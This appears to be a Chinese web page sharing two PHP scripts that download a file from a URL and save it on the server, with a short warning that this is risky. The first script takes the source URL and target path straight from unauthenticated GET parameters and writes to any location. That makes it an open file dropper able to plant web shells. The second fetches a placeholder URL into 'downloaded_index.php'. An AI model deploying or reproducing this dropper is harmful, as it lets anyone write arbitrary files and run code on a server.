这段PHP代码旨在从特定的URL下载文件,并将其存储在服务器上。
然而,这段代码存在潜在的安全隐患。它允许通过URL参数直接将文件下载到服务器,这可能会引发恶意文件的下载和执行。在现实世界的应用场景中,应当对这类脚本实施严密的安全审查和限制措施。
<?php set_time_limit(0); if(isset($_GET['url']) && isset($_GET['filename'])){ if(httpcopy($_GET['url'], $_GET['filename'])){ echo("Done."); }else{ echo("Down Error."); } }else{ die('Input error.'); } function httpcopy($url, $file="", $timeout=60) { $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file; $dir = pathinfo($file,PATHINFO_DIRNAME); !is_dir($dir) && @mkdir($dir,0755,true); $url = str_replace(" ","%20",$url); if(function_exists('curl_init')) { echo "curl "; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $temp = curl_exec($ch); if(@file_put_contents($file, $temp) && !curl_error($ch)) { return $file; } else { return false; } } else { echo "copy "; $opts = array( "http"=>array( "method"=>"GET", "header"=>"", "timeout"=>$timeout) ); $context = stream_context_create($opts); if(@copy($url, $file, $context)) { //$http_response_header return $file; } else { return false; } } } ?>
<?php set_time_limit(0); // 定义要下载的文件URL和保存的文件名 $url = 'http://yourdomain'; $filename = 'downloaded_index.php'; // 你可以 根据需要修改文件名 // 调用httpcopy函数进行下载 if (httpcopy($url, $filename)) { echo "Download Done. File saved as: " . $filename; } else { echo "Download Error."; } function httpcopy($url, $file = "", $timeout = 60) { // 如果未指定文件名,则使用URL的basename作为文件名 $file = empty($file) ? pathinfo ($url, PATHINFO_BASENAME) : $file; // 创建文件所在的目录(如果不存在) $dir = pathinfo($file, PATHINFO_DIRNAME); if (!is_dir($dir)) { @mkdir($dir, 0755 , true); } // 替换URL中的空格为%20 $url = str_replace(" ", "%20", $url); // 使用cURL进行下载 if (function_exists('curl_init')) { echo "curl "; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT , $timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); // 允许重定向 $temp = curl_exec($ch); // 检查是否有错误发生 if (curl_errno ($ch)) { echo "cURL Error: " . curl_error($ch); return false; } // 将内容写入文件 if (@file_put_contents($file, $temp)) { return $file; } else { return false; } } else { // 使用file_get_contents进行下载(不推荐,因为不支持大文件和重定向) echo " copy "; $opts = array( "http" => array( "method" => "GET", "header" => "", "timeout" => $timeout, "follow_location" => 1 // 允许重定向(但注意,这不是所有环境都支持) ) ); $context = stream_context_create($opts); // 尝试下载文件 if (@copy($url, $file, $context)) { return $file; } else { return false; } } } ?>
请求资源或报告无效资源,请点击[反馈中心]